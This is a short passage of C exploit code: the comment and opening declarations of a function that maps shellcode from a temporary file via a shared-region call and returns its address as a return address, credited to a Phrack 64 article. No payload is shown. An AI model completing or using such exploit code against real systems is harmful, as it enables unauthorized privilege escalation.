/* map_shellcode(void) - returns a return address as unsigned long
* The returned address points to our shellcode, mapped from a temporary file on disk.
* Most of this code is based on nemo's original example in his Phrack 64 article.
* If the mapping exists, it will fail and require -f flag to be used for avoiding
* the exit() calls.
*/
unsigned long map_shellcode(void) {
int fd = -1;
unsigned long shellcodeaddr = 0x0;
struct _shared_region_mapping_np shmreg;
char tmpbuf[PAGE_SIZE];
char *tmpfname;
void *scptr = NULL;